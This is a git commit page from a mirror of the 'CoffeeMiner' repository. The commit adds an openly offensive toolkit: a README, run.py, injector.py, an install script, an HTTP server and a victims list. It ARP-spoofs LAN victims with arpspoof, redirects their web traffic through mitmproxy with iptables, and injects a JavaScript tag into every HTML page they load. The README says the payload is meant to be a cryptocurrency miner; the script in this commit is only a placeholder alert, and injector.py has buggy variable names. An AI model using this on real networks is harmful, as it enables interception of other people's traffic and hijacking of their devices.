mirror of
https://github.com/arnaucube/coffeeMiner.git
synced 2026-02-07 11:06:40 +01:00
mitm script done, injector done
This commit is contained in:
70
README.md
Normal file
70
README.md
Normal file
@@ -0,0 +1,70 @@
|
||||
# CoffeeMiner
|
||||
|
||||
Collaborative Coffee Mining Pool.
|
||||
|
||||
**Warning: this project is only with academic purposes.**
|
||||
|
||||
|
||||
## Concept
|
||||
- Performs a MITM attack
|
||||
- Injects a js script in all the HTML pages requested by the victims
|
||||
- The js script injected contains a cryptocurrency miner
|
||||
- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner
|
||||
|
||||
|
||||
## Use
|
||||
- install.sh
|
||||
```
|
||||
bash install.sh
|
||||
```
|
||||
- edit victims.txt with one IP per line
|
||||
- run.py
|
||||
```
|
||||
python run.py ipgateway
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
#### Manual use
|
||||
- needs to have installed **mitmproxy**
|
||||
https://mitmproxy.org/
|
||||
- installation:
|
||||
```
|
||||
sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev
|
||||
|
||||
pip3 install --user mitmproxy
|
||||
```
|
||||
|
||||
- needs python 3.*
|
||||
|
||||
|
||||
- configure IPTABLES
|
||||
|
||||
```
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
|
||||
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
|
||||
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
|
||||
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
|
||||
```
|
||||
|
||||
- arpspoof to the victims
|
||||
```
|
||||
arpspoof -i eth0 -t <victim_ip> <gateway_ip>
|
||||
arpspoof -i eth0 -t <gateway_ip> <victim_ip>
|
||||
```
|
||||
- execute the httpServer.py that will serve the script.js that contains the minner:
|
||||
```
|
||||
python httpServer.py
|
||||
```
|
||||
|
||||
- execute the mitmproxy with the injector.py script:
|
||||
```
|
||||
#~/.local/bin/mitmdump -s "injector.py http://127.0.0.1:8000/script.js"
|
||||
```
|
||||
14
httpServer.py
Normal file
14
httpServer.py
Normal file
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env python
|
||||
import http.server
|
||||
import socketserver
|
||||
import os
|
||||
|
||||
PORT = 8000
|
||||
|
||||
web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
|
||||
os.chdir(web_dir)
|
||||
|
||||
Handler = http.server.SimpleHTTPRequestHandler
|
||||
httpd = socketserver.TCPServer(("", PORT), Handler)
|
||||
print("serving at port", PORT)
|
||||
httpd.serve_forever()
|
||||
26
injector.py
Normal file
26
injector.py
Normal file
@@ -0,0 +1,26 @@
|
||||
# Usage: mitmdump -s "js_injector.py src"
|
||||
# (this script works best with --anticache)
|
||||
from bs4 import BeautifulSoup
|
||||
from mitmproxy import ctx, http
|
||||
|
||||
|
||||
class Injector:
|
||||
def load(self, loader):
|
||||
loader.add_option(
|
||||
"scr_url", str, "", "script_url to inject"
|
||||
)
|
||||
|
||||
def response(self, flow: http.HTTPFlow) -> None:
|
||||
if ctx.options.scr_url:
|
||||
html = BeautifulSoup(flow.response.content, "html.parser")
|
||||
if html.body:
|
||||
script = html.new_tag(
|
||||
"script",
|
||||
src=context.src_url,
|
||||
type='application/javascript')
|
||||
html.body.insert(0, script)
|
||||
flow.response.content = str(html).encode("utf8")
|
||||
context.log("Script injected.")
|
||||
|
||||
|
||||
addons = [Injector()]
|
||||
11
install.sh
Normal file
11
install.sh
Normal file
@@ -0,0 +1,11 @@
|
||||
#TODO put --yes to all installation commands
|
||||
|
||||
# install arpspoof (dsniff)
|
||||
sudo apt-get install dsniff
|
||||
|
||||
# install mitmproxy
|
||||
sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev
|
||||
pip3 install --user mitmproxy
|
||||
|
||||
# install BeautifulSoup
|
||||
pip3 install beautifulsoup4
|
||||
1
miner_script/script.js
Normal file
1
miner_script/script.js
Normal file
@@ -0,0 +1 @@
|
||||
alert("this will be the minner");
|
||||
34
run.py
Normal file
34
run.py
Normal file
@@ -0,0 +1,34 @@
|
||||
import os
|
||||
import sys
|
||||
|
||||
#get gateway_ip (router)
|
||||
gateway = sys.argv[1]
|
||||
print("gateway: " + gateway)
|
||||
# get victims_ip
|
||||
victims = [line.rstrip('\n') for line in open("victims.txt")]
|
||||
print("victims:")
|
||||
print(victims)
|
||||
|
||||
# configure routing (IPTABLES)
|
||||
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
|
||||
os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
|
||||
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
|
||||
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
|
||||
|
||||
|
||||
# run the arpspoof for each victim, each one in a new console
|
||||
for victim in victims:
|
||||
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
|
||||
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
|
||||
|
||||
# start the http server for serving the script.js, in a new console
|
||||
os.system("xterm -hold -e 'python httpServer.py' &")
|
||||
|
||||
# start the mitmproxy
|
||||
os.system("~/.local/bin/mitmdump -s 'injector.py http://127.0.0.1:8000/script.js'")
|
||||
|
||||
|
||||
'''
|
||||
# run sslstrip
|
||||
os.system("xterm -e sslstrip -l 8080 &")
|
||||
'''
|
||||
2
victims.txt
Normal file
2
victims.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
192.168.1.30
|
||||
192.168.1.31
|
||||
Reference in New Issue
Block a user